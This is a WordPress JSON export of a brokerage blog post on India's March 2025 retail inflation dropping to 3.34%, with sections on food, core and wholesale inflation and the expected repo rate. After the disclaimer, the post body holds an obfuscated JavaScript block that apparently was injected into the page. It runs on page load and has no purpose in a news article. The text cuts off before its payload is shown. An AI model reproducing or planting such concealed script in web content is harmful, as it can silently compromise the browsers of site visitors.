{"id":12176,"date":"2025-04-16T09:25:02","date_gmt":"2025-04-16T09:25:02","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=12176"},"modified":"2025-04-17T11:02:14","modified_gmt":"2025-04-17T11:02:14","slug":"india-retail-inflation","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/india-retail-inflation\/","title":{"rendered":"Silver Lining with Dropping Inflation in India"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/india-retail-inflation\/#Food_Inflation\" >Food Inflation&nbsp;<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/india-retail-inflation\/#WPI_Inflation\" >WPI Inflation&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/india-retail-inflation\/#Economic_Outlook\" >Economic Outlook&nbsp;<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Silver Lining with Dropping Inflation in India<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Food prices are finally witnessing a sharp fall, which has dragged <strong>India\u2019s retail inflation<\/strong> to 3.34%, a level last seen during August 2019. It is the <strong>food inflation<\/strong> and the headline inflation in March that dipped drastically owing to the dip in the prices of vegetables, pulses, eggs, meat, and fish, cereals, and milk products. The <strong>headline inflation<\/strong> has declined by 27 basis points in March against February\u2019s level. However, the star of the show is food inflation, which dropped by 106 basis points to 2.69% during March from 3.75% in February.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-food-inflation-nbsp\"><span class=\"ez-toc-section\" id=\"Food_Inflation\"><\/span>Food Inflation&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While the <strong>CPI inflation<\/strong> declined to a five-year low of 3.34% in March, the 2.69% food inflation in March is the lowest since November 2021. Vegetable prices declined by around 7% while pulses declined by 2.7%. Having said that, the edible oil prices soared by 17% while fruit prices surged by 16% during March.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Core inflation during the period was above 4% which is determined by deducting the food and fuel inflation from headline inflation.&nbsp; The core inflation has remained mild over time around 4.1% only with few upticks. After 18 months, fuel and light prices came out of the deflation phase in March however, experts suggest that this trend may not sustain because distribution companies have reduced the prices.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another factor which affected the inflation during March was the hike in the LPG prices. It has been increased by \u20b950 per cylinder which has an impact of around 8 basis points in the headline <strong>Consumer Price Index<\/strong>.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-wpi-inflation-nbsp\"><span class=\"ez-toc-section\" id=\"WPI_Inflation\"><\/span>WPI Inflation&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Not only the <strong>retail inflation<\/strong>, but the <strong>wholesale price index<\/strong> (WPI) also dipped 2% in March from its February\u2019s level of 2.38%. However, on YoY basis, it is still higher as in March 2024 it was standing at 0.26%.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-economic-outlook-nbsp\"><span class=\"ez-toc-section\" id=\"Economic_Outlook\"><\/span>Economic Outlook&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">With the dip in the <strong>Inflation rate in India<\/strong>, the expectation of another rate cut in June is increasing. However, the <strong>repo rate<\/strong> following the accommodative stance can remain within 5% to 5.25% as per economists. The inflation in India is now within the targe of RBI, and actually way below the upper cap which indicates towards the success of monetary measures opted by the central bank and a growing economy.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.thehindubusinessline.com\/economy\/indias-retail-inflation-eases-to-67-month-low-of-334-in-march\/article69453019.ece\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheHinduBusinessLine<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/strong>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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It is the food inflation and the headline inflation in March that dipped drastically owing to the dip in the prices of vegetables, pulses, eggs, meat, and fish, cereals, and milk products. &hellip; <a href=\"https:\/\/shoonya.com\/blog\/india-retail-inflation\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Silver Lining with Dropping Inflation in India&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":12177,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[1207,5803,5239,4746,5562,1204,4571,5561],"class_list":["post-12176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-consumer-price-index","tag-cpi-inflation","tag-food-inflation","tag-india-retail-inflation","tag-inflation-rate-in-india","tag-repo-rate","tag-retail-inflation","tag-wpi-inflation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Inflation dipped to 67 67-month low of 3.34% in March<\/title>\n<meta name=\"description\" content=\"India\u2019s retail inflation has dipped to a five-year low, which is a big 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